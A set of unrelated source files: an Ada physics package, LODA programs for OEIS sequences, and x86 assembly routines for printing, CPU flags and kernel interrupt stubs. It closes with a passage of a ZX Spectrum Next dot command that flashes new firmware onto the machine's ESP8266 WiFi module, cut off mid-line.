<gh_stars>1-10 with GL.Types; with Orka.Behaviors; with Integrators.RK4; package Atmosphere_Types is type No_Behavior is new Orka.Behaviors.Behavior with record Position : Orka.Behaviors.Vector4 := Orka.Behaviors.Null_Behavior.Position; end record; overriding function Position (Object : No_Behavior) return Orka.Behaviors.Vector4 is (Object.Position); ----------------------------------------------------------------------------- type Gravity_Object is new Integrators.Physics_Object with private; function Altitude (Object : Gravity_Object) return GL.Types.Double; procedure Set_Mass (Object : in out Gravity_Object; Value : GL.Types.Double); procedure Set_Gravity (Object : in out Gravity_Object; Value : GL.Types.Double); procedure Set_Thrust (Object : in out Gravity_Object; Value : GL.Types.Double); overriding procedure Update (Object : in out Gravity_Object; State : Integrators.Integrator_State; Delta_Time : Duration); overriding function Forces (Object : Gravity_Object) return Integrators.Force_Array_Access; overriding function Moments (Object : Gravity_Object) return Integrators.Moment_Array_Access; overriding function Inverse_Mass (Object : Gravity_Object) return GL.Types.Double; overriding function Inverse_Inertia (Object : Gravity_Object) return GL.Types.Double; overriding function Center_Of_Mass (Object : Gravity_Object) return Integrators.Vectors.Vector4; ----------------------------------------------------------------------------- protected type Integrator is procedure Initialize (FDM : Integrators.Physics_Object'Class; Position, Velocity : Orka.Behaviors.Vector4; Orientation : Integrators.Quaternions.Quaternion); procedure Update (FDM : in out Integrators.Physics_Object'Class; Delta_Time : Duration); function State return Integrators.Integrator_State; private RK4 : Integrators.RK4.RK4_Integrator; T : GL.Types.Double := 0.0; end Integrator; type Frame_Type is (ECI, ECEF); type Physics_Behavior (Frame : Frame_Type) is limited new Orka.Behaviors.Behavior with record FDM : Gravity_Object; Int : Integrator; end record; overriding function Position (Object : Physics_Behavior) return Orka.Behaviors.Vector4; overriding procedure Fixed_Update (Object : in out Physics_Behavior; Delta_Time : Duration); private type Gravity_Object is new Integrators.Physics_Object with record F_Gravity : Integrators.Vectors.Vector4 := Integrators.Vectors.Zero_Direction; F_Anti_Gravity : Integrators.Vectors.Vector4 := Integrators.Vectors.Zero_Direction; Altitude : GL.Types.Double := 0.0; Mass : GL.Types.Double := 1.0; Gravity : GL.Types.Double := 0.0; Thrust : GL.Types.Double := 0.0; end record; end Atmosphere_Types;
oeis/248/A248803.asm
neoneye/loda-programs
11
92652
; A248803: Decimal expansion of the square root of 101. ; Submitted by <NAME> ; 1,0,0,4,9,8,7,5,6,2,1,1,2,0,8,9,0,2,7,0,2,1,9,2,6,4,9,1,2,7,5,9,5,7,6,1,8,6,9,4,5,0,2,3,4,7,0,0,2,6,3,7,7,2,9,0,5,7,2,8,2,8,2,9,7,3,2,8,4,9,1,2,3,1,5,5,1,9,7,0,3,8,1,2,3,6,1,7,7,6,9,2,4,5,3,9,5,2,3,5 mov $1,1 mov $2,1 mov $3,$0 mul $3,4 lpb $3 mul $1,$3 sub $2,$3 mul $2,$3 add $1,$2 add $2,$1 mul $2,5 sub $3,4 lpe mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mod $1,10 mov $0,$1
fizzbuzz/functions.asm
1fabunicorn/assembly-playground
0
94251
<filename>fizzbuzz/functions.asm ; credit to https://asmtutor.com ; https://github.com/DGivney/assemblytutorials ;------------------------------------------ ; void iprint(Integer number) ; Integer printing function (itoa) iprint: push eax ; preserve eax on the stack to be restored after function runs push ecx ; preserve ecx on the stack to be restored after function runs push edx ; preserve edx on the stack to be restored after function runs push esi ; preserve esi on the stack to be restored after function runs mov ecx, 0 ; counter of how many bytes we need to print in the end divideLoop: inc ecx ; count each byte to print - number of characters mov edx, 0 ; empty edx mov esi, 10 ; mov 10 into esi idiv esi ; divide eax by esi add edx, 48 ; convert edx to it's ascii representation - edx holds the remainder after a divide instruction push edx ; push edx (string representation of an intger) onto the stack cmp eax, 0 ; can the integer be divided anymore? jnz divideLoop ; jump if not zero to the label divideLoop printLoop: dec ecx ; count down each byte that we put on the stack mov eax, esp ; mov the stack pointer into eax for printing call sprint ; call our string print function pop eax ; remove last character from the stack to move esp forward cmp ecx, 0 ; have we printed all bytes we pushed onto the stack? jnz printLoop ; jump is not zero to the label printLoop pop esi ; restore esi from the value we pushed onto the stack at the start pop edx ; restore edx from the value we pushed onto the stack at the start pop ecx ; restore ecx from the value we pushed onto the stack at the start pop eax ; restore eax from the value we pushed onto the stack at the start ret ;------------------------------------------ ; void iprintLF(Integer number) ; Integer printing function with linefeed (itoa) iprintLF: call iprint ; call our integer printing function push eax ; push eax onto the stack to preserve it while we use the eax register in this function mov eax, 0Ah ; move 0Ah into eax - 0Ah is the ascii character for a linefeed push eax ; push the linefeed onto the stack so we can get the address mov eax, esp ; move the address of the current stack pointer into eax for sprint call sprint ; call our sprint function pop eax ; remove our linefeed character from the stack pop eax ; restore the original value of eax before our function was called ret ;------------------------------------------ ; int slen(String message) ; String length calculation function slen: push ebx mov ebx, eax nextchar: cmp byte [eax], 0 jz finished inc eax jmp nextchar finished: sub eax, ebx pop ebx ret ;------------------------------------------ ; void sprint(String message) ; String printing function sprint: push edx push ecx push ebx push eax call slen mov edx, eax pop eax mov ecx, eax mov ebx, 1 mov eax, 4 int 80h pop ebx pop ecx pop edx ret ;------------------------------------------ ; void sprintLF(String message) ; String printing with line feed function sprintLF: call sprint push eax ; push eax onto the stack to preserve it while we use the eax register in this function mov eax, 0Ah ; move 0Ah into eax - 0Ah is the ascii character for a linefeed push eax ; push the linefeed onto the stack so we can get the address mov eax, esp ; move the address of the current stack pointer into eax for sprint call sprint ; call our sprint function pop eax ; remove our linefeed character from the stack pop eax ; restore the original value of eax before our function was called ret ; return to our program ;------------------------------------------ ; void exit() ; Exit program and restore resources quit: mov ebx, 0 mov eax, 1 int 80h ret
programs/oeis/142/A142584.asm
karttu/loda
0
20714
<reponame>karttu/loda<filename>programs/oeis/142/A142584.asm ; A142584: a(n) = A014217(n+1) - A115360(n+2). ; 2,4,6,10,18,28,46,76,122,198,322,520,842,1364,2206,3570,5778,9348,15126,24476,39602,64078,103682,167760,271442,439204,710646,1149850,1860498,3010348,4870846,7881196,12752042,20633238,33385282,54018520,87403802,141422324,228826126 add $0,1 mov $3,3 mov $4,1 lpb $0,1 sub $0,1 mov $1,$3 mov $3,$4 add $3,$1 mov $4,$1 lpe add $0,2 div $1,2 add $1,7 mov $2,3 add $2,$0 add $1,$2 sub $1,12 mul $1,3 sub $1,3 div $1,3 mul $1,2 add $1,2
classes/3/LearningFlags.asm
UFSCar-CS/computer-architecture-and-organization-2012-2
0
14041
TITLE Learning Flags ;Author: @CamiloMoreira ; ;Revision: INCLUDE Irvine32.inc .data val1 BYTE 10h val2 WORD 8000h val3 DWORD 0FFFFh val4 WORD 7FFFh .code main PROC inc val2 ; CF=0 ZF=0 SF=1 OF=0 mov eax, 0h mov ebx, 0h mov edx, 0h sub eax, val3 ; CF=1 ZF=0 SF=1 OF=0 mov bx, val2 sub val4, bx ; CF=1 ZF=0 SF=1 OF=1 mov dx, val2 neg dx ; CF=1 ZF=0 SF=0 OF=0 add dx, bx ; CF=1 ZF=1 SF=0 OF=0 sub dx, val4 ; CF=1 ZF=0 SF=0 OF=0 mov ax, dx exit main ENDP END main
ScrollModus/_code/GlobalCode/fadeinout.asm
kosmonautdnb/TheLandsOfZador
0
104089
; fade in out is disabled in M.o.S II
kernel/sys/IDT/irq.asm
EmeraldMastaMC/myOS
0
89119
<gh_stars>0 %macro pushaq 0 push rax push rbx push rcx push rdx push rdi push rsi push rbp push rsp push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popaq 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsp pop rbp pop rsi pop rdi pop rdx pop rcx pop rbx pop rax %endmacro global IRQ0 global IRQ1 global load_IDT IRQ0: pushaq popaq iretq extern keyboard_interrupt_handler IRQ1: pushaq call keyboard_interrupt_handler popaq iretq load_IDT: lidt [rdi] ret
oeis/142/A142950.asm
neoneye/loda-programs
11
13195
<filename>oeis/142/A142950.asm ; A142950: Primes congruent to 55 mod 64. ; Submitted by <NAME>(s4) ; 311,439,503,631,823,887,1399,1783,1847,2039,2423,2551,2999,3191,3319,3511,3767,4663,4919,5303,5431,5623,5879,6007,6199,6263,6967,7159,7351,7607,7927,8311,8887,8951,9463,9719,10039,10103,10487,11383,11447,11831,11959,12343,12791,12919,12983,13367,13687,13751,13879,14071,14327,14519,15031,15287,15607,15671,15991,16183,16567,16631,16759,16823,17207,17783,17911,18679,18743,19319,19447,20023,20407,20599,20663,20983,21559,21751,21943,22391,23159,23671,24247,24439,24631,25463,25847,26423,27127,27191 mov $1,3 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,24 mov $3,$1 sub $1,4 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,12 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 mul $0,2 add $0,49
src/asm/main.asm
Threetwosevensixseven/espupdate
8
100942
; main.asm ; Copyright 2020 <NAME> ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ; Assembles with regular version of Zeus (not Next version), zeusemulate "Next", "RAW", "NOROM" ; because that makes it easier to assemble dot commandszxnextmap -1,DotCommand8KBank,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000 zxnextmap -1,DotBank1,-1,-1,DotBank2,DotBank3,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000 zoSupportStringEscapes = true; ; Download zeustest.exe from http://www.desdes.com/products/oldfiles/ optionsize 10 CSpect optionbool 15, -10, "CSpect", false ; Option in Zeus GUI to launch CSpect RealESP optionbool 80, -10, "Real ESP", false ; Launch CSpect with physical ESP in USB adaptor UploadNext optionbool 160, -10, "Next", false ; Copy dot command to Next FlashAir card ErrDebug optionbool 212, -10, "Debug", false ; Print errors onscreen and halt instead of returning to BASIC AppendFW optionbool 270, -10, "AppendFW", false ; Pad dot command and append the NXESP-formatted firmware org $2000 ; Dot commands always start at $2000 Start: jr Begin db "ESPUPDATEv1." ; Put a signature and version in the file in case we ever BuildNo() ; need to detect it programmatically db 0 Begin: di ; We run with interrupts off apart from printing and halts ld (Return.Stack1), sp ; Save so we can always return without needing to balance stack ld (Return.IY1), iy ; Put IY safe, just in case ld sp, $4000 ; Put stack safe inside dot command ld (SavedArgs), hl ; Save args for later call InstallErrorHandler ; Handle scroll errors during printing and API calls PrintMsg(Msg.Startup) ; "ESP Update Tool v1.x" ld a, %0000 0001 ; Test for Next courtesy of <NAME>, thanks :) MirrorA() ; Z80N-only opcode. If standard Z80 or successors, this will nop ; be executed as benign opcodes that don't affect the A register. nop cp %1000 0000 ; Test that the bits of A were mirrored as expected ld hl, Err.NotNext ; If not a Spectrum Next, jp nz, Return.WithCustomError ; exit with an error. ld a, 1 ld (IsNext), a NextRegRead(Reg.MachineID) ; If we passed that test we are safe to read machine ID. and %0000 1111 ; Only look at bottom four bits, to allow for Next clones cp 10 ; 10 = ZX Spectrum Next jp z, IsANext ; 8 = Emulator cp 8 ; Exit with error if not a Next. HL still points to err message, jp nz, Return.WithCustomError ; be careful if adding code between the Next check and here! IsANext: Rst8(esxDOS.M_DOSVERSION) ; Check if we are running in NextZXOS ld hl, Err.NotOS ; If esxDOS (carry set), jp c, Return.WithCustomError ; exit with an error. or a ; If not full NextZXOS (a != 0), ld hl, Err.NotNB ; exit with an error. jp nz, Return.WithCustomError ; We could also do NextZXOS version check if we cared. NextRegRead(Reg.Peripheral2) ; Read Peripheral 2 register. ld (RestoreF8.Saved), a ; Save current value so it can be restored on exit. and %0111 1111 ; Clear the F8 enable bit, nextreg Reg.Peripheral2, a ; And write the entire value back to the register. NextRegRead(Reg.CPUSpeed) ; Read CPU speed. and %11 ; Mask out everything but the current desired speed. ld (RestoreSpeed.Saved), a ; Save current speed so it can be restored on exit. nextreg Reg.CPUSpeed, %11 ; Set current desired speed to 28MHz. NextRegRead(Reg.CoreMSB) ; Core Major/Minor version ld h, a NextRegRead(Reg.CoreLSB) ; Core Sub version ld l, a ; HL = version, should be >= $3007 ld de, CoreMinVersion CpHL(de) ErrorIfCarry(Err.CoreMin) ; Raise minimum core error if < 3.00.07 GetSizedArg(SavedArgs, FWFileName) ; Parse filename from first arg jr nc, ArgNotFile ; No arg, not a file ld hl, 5 CpHL(bc) ; Filenames >=5 chars are legit jr c, ArgIsFile ld a, (FWFileName) cp '-' ; Filenames <5 chars starting with "-" are switches jr nz, ArgIsFile ArgNotFile: xor a jr nc, SaveFileArg ArgIsFile: ld a, 1 SaveFileArg: ld (HasFWFileName), a ; Save whether we have a filename or not ld hl, (SavedArgs) ; Start again at the first arg in case it was help ArgLoop: ld de, ArgBuffer ; Parse remaining args in a loop call GetSizedArgProc jr nc, NoMoreArgs call ParseHelp call ParseForce jr ArgLoop NoMoreArgs: ld a, (WantsHelp) or a jr z, NoHelp DoHelp: PrintMsg(Msg.Help) if (ErrDebug) Freeze(1,2) else jp Return.ToBasic endif NoHelp: ; This dot command is way larger than 8KB, so we have a strategy for dealing with that. ; NextZXOS will automatically load the first 8KB, which contains all the core code, ; and will leave the file handle open. If the core code is less than 8KB, Zeus will ; pad it to 8KB automatically. ; Use of the NextZXOS API means this dot cmd cannot run under esxDOS, so we must do ; an initial check for NextZXOS, and exit gracefully if not present. ; We call M_GETHANDLE to get and save the handle. call esxDOS.GetHandle ; The next <=16KB in the file contains the ESP uploader stubs, additional code and buffers. ; This is assembled so that it runs at $8000-BFFF. We will use IDE_BANK to allocate three 8KB ; banks, which must be freed before exiting the dot command. call Allocate8KBank ; Bank number in A (not E), errors have already been handled ld (DeallocateBanks.Bank1), a ; Save bank number call Allocate8KBank ; Bank number in A (not E), errors have already been handled ld (DeallocateBanks.Bank2), a ; Save bank number call Allocate8KBank ; Bank number in A (not E), errors have already been handled ld (DeallocateBanks.Bank3), a ; Save bank number call Allocate8KBank ; Bank number in A (not E), errors have already been handled ld (DeallocateBanks.Bank4), a ; Save bank number ; Now we can page in the four 8K banks at $8000, $A000, $C000 and $E000, and try to load the ; remainder of the dot command code. This paging will need to be undone during cmd exit. nextreg $57, a ; Allocated bank for $E000 was already in A, page it in. ld a, (DeallocateBanks.Bank1) nextreg $54, a ; Page in allocated bank for $8000 ld a, (DeallocateBanks.Bank2) nextreg $55, a ; Page in allocated bank for $A000 ld a, (DeallocateBanks.Bank3) nextreg $56, a ; Page in allocated bank for $C000 ld hl, $8000 ; Start loading at $8000 ld bc, $4000 ; Load up to 16KB of data call esxDOS.fRead ErrorIfCarry(Err.BadDot) CheckFW: PrintMsg(Msg.ReadFW) ld a, (HasFWFileName) ; Do we have a filename from the first arg? or a jr z, ReadFW ; We don't have a filename, so try to read the appended FW call esxDOS.fClose ; Close the dot command, but don't bother handling any errors ld hl, FWFileName call esxDOS.fOpen ; Open the external firmware file from its filename ErrorIfCarry(Err.ReadFW) ; Throw an error if esxDOS returned one ReadFW: ld hl, $C000 ; Start loading at $C000 ld bc, $0007 ; Load 7 bytes of data call esxDOS.fRead ErrorIfCarry(Err.ReadFW) ld a, b ; If we read zero bytes, either FW wasn't appended to or c ; the dot cmd, or the external FW file was zero length. jp nz, FWFound if enabled AppendFW ErrorAlways(Err.FWMissing) else PrintMsg(Msg.ExternalFW) ErrorAlways(Err.FWMissing) endif FWFound: cp 7 ; Check we read 7 bytes jp nz, BadFormat ld hl, $C000 ; Check magic bytes NXESP ld a, (hl) cp 'N' jp nz, BadFormat inc hl ld a, (hl) cp 'X' jr nz, BadFormat inc hl ld a, (hl) cp 'E' jr nz, BadFormat inc hl ld a, (hl) cp 'S' jr nz, BadFormat inc hl ld a, (hl) cp 'P' jr z, ReadMoreHeader BadFormat: ErrorAlways(Err.BadFW) ReadMoreHeader: inc hl ld c, (hl) ; Read remaining header size inc hl ld b, (hl) ld hl, Header.Len CpHL(bc) ; Check it isn't bigger than Header buffer jr c, BadFormat ld hl, Header.Buffer ; Read remaining header into Header buffer push hl call esxDOS.fRead ErrorIfCarry(Err.BadDot) pop hl ld a, (hl) ; Read Version Length cp 11 ; Can't be more than 10 chars jr nc, BadFormat ld c, a ; Save version ld b, 0 ld de, FWVersion inc hl ldir xor a ld (de), a ; Add null terminator ld a, (hl) ; Save flash params ld (FlashParams), a inc hl ld a, (hl) ld (FlashParams+1), a inc hl ld a, (hl) ; Read MD5 length cp 16 ; Must be 16 (binary, not hex string) jr nz, BadFormat inc hl ld de, FWMD5 ld bc, 16 ldir ; Write MD5 ld e, (hl) ; Read DataBlockSize inc hl ld d, (hl) ld (DataBlockSize), de ; Write DataBlockSize ld (SLIP.FlashBlock+8), de ; (also write into lower word of SLIP flash header) ld (SLIP.FinalizeBlock+8), de ; (also write into lower word of SLIP finalize header) inc hl ld e, (hl) ; Read FWCompLen inc hl ld d, (hl) inc hl ld c, (hl) inc hl ld b, (hl) ld (FWCompLen), de ld (FWCompLen+2), bc ; Write FWCompLen inc hl ld a, (hl) ; Read HeaderBlockSize ld (HeaderBlockSize), a ; Write HeaderBlockSize inc hl ld e, (hl) ; Read BlockCount inc hl ld d, (hl) ld (BlockCount), de ; Write BlockCount ld (SLIP.FlashBlock+4), de ; (also write into lower word of SLIP header) inc hl ld c, (hl) ; Read FWCompLenStr size ld b, 0 inc hl ld de, FWCompLenStr ldir ; Write FWCompLenStr xor a ; with terminating null ld (de), a ld (BlockHeaderStart), hl ; Write BlockHeaderStart FWReadFinished: PrintMsg(Msg.FWVer) PrintMsg(FWVersion) PrintMsg(Msg.EOL) ld a, (Force) or a jr nz, SetUARTStdSpeed PrintMsg(Msg.Confirm) call WaitKeyYN jr nc, SetUARTStdSpeed PrintMsg(Msg.Abort) jp EndOfCommand SetUARTStdSpeed: SetUARTBaud(Baud.b115200, Msg.b115200) EnableProgMode: PrintMsg(Msg.ESPProg1) ; "Setting ESP programming mode..." //PrintMsg(Msg.ESPProg3) ; "Setting RST low" nextreg 2, 128 ; Set RST low call Wait5Frames //PrintMsg(Msg.ESPProg2) ; "Enabling GPIO0 output" NextRegRead(168) or %1 ; Set bit 0 nextreg 168, a ; to enable GPIO0 push af //PrintMsg(Msg.ESPProg4) ; "Setting GPIO0 low" NextRegRead(169) and %1111 1110 ; Clear bit 0 push af nextreg 169, a ; to set GPIO0 low call Wait5Frames //PrintMsg(Msg.ESPProg5) ; "Setting RST high" nextreg 2, 0 ; Set RST high call Wait5Frames //PrintMsg(Msg.ESPProg6) ; "Setting GPIO0 high" pop af or %1 ; Set bit 0 nextreg 169, a ; to set GPIO0 high call Wait5Frames //PrintMsg(Msg.ESPProg7) ; "Disabling GPIO0 output" pop af and %1111 1110 ; Clear bit 0 nextreg 168, a ; to disable GPIO0 ld a, 1 ld (InProgMode), a ; Signal that ESP should be reset on exit DoSync: PrintMsg(Msg.SendSync) call ESPFlush ; Clear the UART buffer first ld b, 2 ; Send ESP Sync command up to seven times SyncLoop: push bc ESPSendBytes(SLIP.Sync, SLIP.SyncLen) ; Send the command pop bc djnz SyncLoop //PrintMsg(Msg.RcvSync) call ESPReadIntoBuffer ESPValidateCmd($08, Dummy32) ; Check whether this we got a sync response SyncPass equ $+1: jp c, NotSynced1 ; If we didn't sync the first time, jr Synced NotSynced1: ld hl,NotSynced2 ld (SyncPass), hl PrintMsg(Msg.RetryESP) ; Reset and try a second time. nextreg 2, 128 ; Set RST low call Wait80Frames ; Hold in reset a really long time nextreg 2, 0 ; Set RST high call Wait80Frames ; Wait a really, really long time call Wait80Frames jp EnableProgMode NotSynced2: ErrorAlways(Err.NoSync) ; Error on second failure Synced: ReadEfuses: //PrintMsg(Msg.Fuse1) ; "Reading eFuses..." call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames //SetReadTimeout(500) //call WaitKey ESPReadReg(0x3ff0005c) ; Read this address call Wait5Frames call ESPReadIntoBuffer //call WaitKey ESPValidateCmd($0A, eFuse1) ; val = 0x00600194 (on test ESP) call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(0x3ff00058) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, eFuse2) ; val = 0x1700B000 (on test ESP) call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(0x3ff00054) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, eFuse3) ; val = 0x020021E8 (on test ESP) call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(0x3ff00050) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, eFuse4) ; val = 0x5A240000 (on test ESP) ; Full 128b value of all four eFuses = 0x00600194 1700B000 020021E8 5A240000 (on test ESP) CheckChip: //PrintBufferHex(eFuses, 16) ; is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0 ; Bit 5 = eFuse4 byte 4 (%0001 0000) ; Bit 81 = eFuse2 byte 2 (%0000 0001) ; Note the words are stored most significant, ; and the bytes are also stored most significant. ; If either of these bits are set, chip is ESP8285, otherwise ESP8266EX. ld a, (eFuse4+3) and %0001 0000 jr nz, Is8285_ ld a, (eFuse2+1) and %0000 0001 jr nz, Is8285_ PrintMsg(Msg.ESP8266EX) xor a jr EndCheckChip Is8285_: PrintMsg(Msg.ESP8285) ld a, 1 EndCheckChip: ld (Features.Is8285), a CheckFeatures: PrintMsg(Msg.FWiFi) ; Every ESP has WiFi ld a, (Features.Is8285) or a jr z, NoEmbFlash PrintMsg(Msg.FFLash) ; 8285s have embedded flash ld a, 1 jr EndFeatures NoEmbFlash: xor a EndFeatures: ld (Features.EmbFlash), a ReadMAC: //PrintMsg(Msg.MAC1) ; "Reading MAC..." call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(ESP_OTP_MAC0) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, MAC0) ; val = 0x5A240000 (on test ESP) call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(ESP_OTP_MAC1) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, MAC1) ; val = 0x020021E8 (on test ESP) call Wait5Frames call ESPFlush ; Clear UART buffer call Wait5Frames ESPReadReg(ESP_OTP_MAC3) ; Read this address call Wait5Frames call ESPReadIntoBuffer ESPValidateCmd($0A, MAC3) ; val = 0x00600194 (on test ESP) //PrintBufferHex(MAC0, 12) CalculateMAC: ; There are three alternative MAC scenarios. If not of them match, it is a fatal error. ; Scenario 1: mac3 != 0 ; Scenario 2: ((mac1 >> 16) & 0xff) == 0 ; Scenario 3: ((mac1 >> 16) & 0xff) == 1 ; For each scenario, there is an interim calculation ; The interim calculation is then used in the final calculation ; Scenario 1: mac3 != 0 ld hl, (MAC3) xor a or h or l ld hl, (MAC3+2) or h or l jp z, MACScenario2 ; Scenario 1 matches. The interim calculation is: ; oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff) ; val = tuple (0x60, 0x01, 0x94) on test ESP ld hl, (MAC3+1) ld (OUI1), hl ld a, (MAC3+3) ld (OUI3), a jr MacFinalCalc MACScenario2: ld a, (MAC1+1) or a jr z, MACIsScenario2 cp 1 jr z, MACScenario3 ErrorAlways(Err.UnknownOUI) MACIsScenario2: ; Scenario 2 matches. The interim calculation is: ; oui = tuple (0x18, 0xF3, 0x34) hardcoded ld hl, $F318 ld (OUI1), hl ld a, $34 ld (OUI3), a jr MacFinalCalc MACScenario3: ; Scenario 3 matches. The interim calculation is: ; oui = tuple (0xAC, 0xD0, 0x74) hardcoded ld hl, $D0AC ld (OUI1), hl ld a, $74 ld (OUI3), a ; Fall into final calculation MacFinalCalc: ; MAC final calculation is: ; MAC = oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff) ; The first three bytes are the precalculated OUI ; The second three bytes are defived from mac1 and mac0 ; MAC = tuple (0x18, 0xF3, 0x34, 0x21, 0xE8, 0x5A) on test ESP ; formatted MAC is 60:01:94:21:E8:5A on test ESP ld hl, (MAC1+2) ld (OUI4), hl ld a, (MAC0) ld (OUI6), a PrintMAC: PrintMsg(Msg.MAC2) ld a, (OUI1) call PrintAHexNoSpace ld a, ':' call Rst16 ld a, (OUI2) call PrintAHexNoSpace ld a, ':' call Rst16 ld a, (OUI3) call PrintAHexNoSpace ld a, ':' call Rst16 ld a, (OUI4) call PrintAHexNoSpace ld a, ':' call Rst16 ld a, (OUI5) call PrintAHexNoSpace ld a, ':' call Rst16 ld a, (OUI6) call PrintAHexNoSpace ld a, CR call Rst16 UploadStub: PrintMsg(Msg.Stub1) //SetReadTimeout(50) ; These are the value for uploading the stub: ; ; text_start = 0x4010E000 ; text_length = 0x1F60 ; text_blocks = 2 ; text_block_0_from_offs = 0x0000 ; text_block_0_to_offs = 0x1800 ; text_block_1_from_offs = 0x1800 ; text_block_1_to_offs = 0x3000 ; ; data_start = 0x3FFFABA4 ; data_length = 0x0300 ; data_blocks = 1 ; data_block_0_from_offs = 0x0000 ; data_block_0_to_offs = 0x1800 ; A1: mem_begin(0x1F60, 2, 0x1800, 0x4010E000) ; self.command(op, data, chk, timeout=timeout) ; op = 5 ; data = 16 bytes (see below) ; chk = 0 ; timeout = 3 ; data consists of: ; size = 0x00001F60 (UInt32) ; blocks = 0x00000002 (UInt32) ; blocksize = 0x00001800 (UInt32) ; offset = 0x4010E000 (UInt32) ; Ignore what the PyCharm debugger says - it is showing 14 bytes instead of 16 :( ESPSendCmdWithData(ESP_MEM_BEGIN, SLIP.Stub1, SLIP.Stub1Len, Err.StubUpload) ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubText+0x0000, 0x1800, 0, Err.StubUpload) ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubText+0x1800, 0x0760, 1, Err.StubUpload) ESPSendCmdWithData(ESP_MEM_BEGIN, SLIP.Stub2, SLIP.Stub2Len, Err.StubUpload) ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubData+0x0000, 0x0300, 0, Err.StubUpload) ; Run stub ; mem_finish(stub['entry']) ; 0x4010E004 ESPSendCmdWithData(ESP_MEM_END, SLIP.EntryBlock, SLIP.EntryBlockLen, Err.StubUpload) ; Check stub is running ; If so, it returns a string "OHAI" straight after the SLIP response ld hl, Buffer+$0D ld a, (hl) cp 'O' jr nz, FailStub inc hl ld a, (hl) cp 'H' jr nz, FailStub inc hl ld a, (hl) cp 'A' jr nz, FailStub inc hl ld a, (hl) cp 'I' jr nz, FailStub jr OkStub FailStub: ErrorAlways(Err.StubRun) OkStub: PrintMsg(Msg.Stub2) if enabled FastUART SetUARTBaud(Baud.b1152000, Msg.b1152000) ; esp.change_baud(1152000) ESPSendCmdWithData(ESP_CHANGE_BAUDRATE, SLIP.ChgBaud, SLIP.ChgBaudLen, Err.BaudChg) ; print("Changed.") ; self._set_port_baudrate(baud) ; time.sleep(0.05) # get rid of crap sent during baud rate change ; self.flush_input() endif ; flash_set_parameters(self, 0x00100000) [1MB] ; fl_id = 0 ; total_size = 0x00100000 ; block_size = 64 * 1024 ; sector_size = 4 * 1024 ; page_size = 256 ; status_mask = 0xffff ; self.command(op, data, chk, timeout=timeout) ; op = 11 ESP_SPI_SET_PARAMS ; data = 24 bytes, of which: ; fl_id = 0x00000000 ; total_size = 0x00100000 ; block_size = 0x00010000 ; sector_size = 0x00001000 ; page_size = 0x00000100 ; status_mask = 0x0000ffff ; chk = 0 ; timeout = 3 ESPSendCmdWithData(ESP_SPI_SET_PARAMS, SLIP.CfgFlash, SLIP.CfgFlashLen, Err.FlashSet) ; operation_func(esp, args) ; write_flash(esp, args) ; image = _update_image_flash_params(esp, address, args, image), where ; address = 0 ; image = 1,048,576 bytes ; # unpack the (potential) image header: some stuff to check this is really a fw image ; Look at first four bytes: ; magic = ESP_IMAGE_MAGIC 0xE9 ; dummy = ?? ; flash_mode = 2 ; flash_size_freq = 1 ; if magic <> ESP_IMAGE_MAGIC jp AfterModFlashParams ; flash_freq = 1 (26m) ; flash_mode = 2 (dio) ; flash_size = 32 (MB) ; flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq) = 0x2102 ; flash_mode appears first, flash_size + flash_freq appears second ; replace bytes 2 and 3 (zero-based) of image with these two bytes PrintMsg(Msg.FlashParams) ; "Flash params set to 0x" ld a, (FlashParams) call PrintAHexNoSpace ; Print param word in hex ld a, (FlashParams+1) call PrintAHexNoSpace PrintMsg(Msg.EOL) PrintMsg(Msg.Upload1) ; "Uploading " ld hl, FWCompLenStr call PrintRst16 ; Print compresed size in decimal PrintMsg(Msg.Upload2) ; " bytes..." ld a, 1 ld (CRbeforeErr), a ld hl, 0 ld (BlockSeqNo), hl ; blocks = esp.flash_defl_begin(uncsize, len(image), address) ; blocks = esp.flash_defl_begin(1048576, 457535, 0) ; blocks = esp.flash_defl_begin(0x00100000, 0x0006FB3F, 0) ; num_blocks = (compsize + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE = 28 ; erase_blocks = (size + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE = 64 ; write_size = size = 1048576 ; struct.pack('<IIII', write_size, num_blocks, self.FLASH_WRITE_SIZE, offset) ; FLASH_WRITE_SIZE = 0x4000 (16K) ; offset = 0 ; SLIP.FlashBlock was already prepopulated when we read the firmware header ESPSendCmdWithData(ESP_FLASH_DEFL_BEGIN, SLIP.FlashBlock, SLIP.FlashBlockLen, 